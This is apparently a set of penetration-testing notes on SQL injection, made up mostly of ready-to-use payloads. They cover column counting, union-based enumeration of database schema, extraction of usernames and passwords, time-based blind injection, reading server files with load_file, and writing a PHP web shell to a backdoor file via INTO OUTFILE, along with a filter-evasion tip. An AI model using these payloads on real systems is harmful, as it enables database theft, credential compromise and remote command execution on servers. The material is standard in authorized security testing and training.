1. First, try to add ’ or ” in a field to see if the appli­ca­tion throws an error.
2. Try now a OR query which should return more con­tent or anoth­er error.

   ' OR 1=1

3. Try to add a state­ment and guess some fields which could be includ­ed in the error mes­sage.
   ' OR 1=1 in (SELECT password FROM users WHERE name = 'admin') -- //
' OR 1=1 in (SELECT version()) -- //
4. r

Union-based injections

1. Then, try to fig­ure out how many columns are returned by adding an increas­ing num­ber or ORDER BY stata­ments until final­ly the exe­cu­tion fails.
   ' ORDER BY 1 -- //
' ORDER BY 2 -- //
' ORDER BY 3 -- //
...
   As soon as the exe­cu­tion fails, the com­mand before indi­cates the tables col­umn count.
2. Try now to add a SQL state­ment which con­tains some inter­est­ing func­tions (depend­ing on the data­base) and is padded with the prop­er num­ber of dum­my columns to match the pre­viosly found col­umn count. For MySQL and 5 columns:
   %' UNION SELECT database(), user(), @@version, null, null -- //
   Note that it could be that the web page returns only some columns like $ret[2] — in this case, repeat the state­ment, but change the order of the data­base func­tions.
   Anoth­er state­ment could be:
   %' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //

Blind SQL injections

If no out­put is giv­en from a state­ment, try to use time-based approaches.

1. While some­thing like
   file.php?username=blabla' AND 1=1 -- //
   may not return any­thing if the user­name does not exist, the state­ment
   file.php?username=blabla' AND IF (1=1, sleep(5), 'false') -- //
   will slow down the appli­ca­tion’s response if the giv­en user exists.

Enumerating in inserts

Assum­ing the INSERT state­ment is

INSERT INTO $tablename (email,name) VALUES ("email", "name");

Then try a tim­ing attack to deter­mine if a cer­tain val­ue is in a field:

INSERT INTO newsletter (name,email) VALUES ('name', '
  ' AND (IF((SELECT email FROM newsletter WHERE email="known_value") = "known_value", sleep(10), 0)) AND '
');

Enumerating the structure

Try to add an UNION state­ment into an injectable para­me­ter and com­bine the out­put with a vari­able (in this case for MySQL)

?id=1 UNION ALL SELECT 1, @@version
?id=1 UNION ALL SELECT 1, 2, @@version # <-- following examples are for this case.
?id=1 UNION ALL SELECT 1, 2, 3, @@version
...

For the query that worked, obtain then infor­ma­tion about the tables:

?id=1 UNION ALL SELECT 1, 2, table_name FROM information_schema.tables

Then, choose a table to explore, for exam­ple users. Then, enu­mer­ate the columns of this table:

?id=1 UNION ALL SELECT 1, 2, column_name FROM information_schema.columns WHERE table_name='users'

Then, val­ues from the tar­get­ed table can be retrieved:

?id=1 UNION ALL SELECT 1, username, password from users

Code execution

Exam­ple to write a string into a file:

?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php' -- //

Useful commands

load_file returns the con­tent of a file.

evil.php?id=42 union select 1,2,3,load_file('C:/...')

INTO OUTFILE writes con­tent into a file.

evil.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

Enu­mer­ate the count of columns: Request the fol­low­ing and repeat it and increase the order by para­me­ter. An error appears after one col­umn to many.

evil.php?id=1 order by 1

Automatic tools

• SQLmap
• Com­mix: Auto­mat­ic SQL injec­tion dis­cov­ery and exploitation

Notes

• Try DB depen­dend com­mands. E.g. for MySQL, @@version returns the ver­sion of the serv­er and user() the cur­rent user.
• Try inline com­ments like SELECT/*bla*/table to pre­vent blacklisting.

Ressources

• INSERT und DELETE injections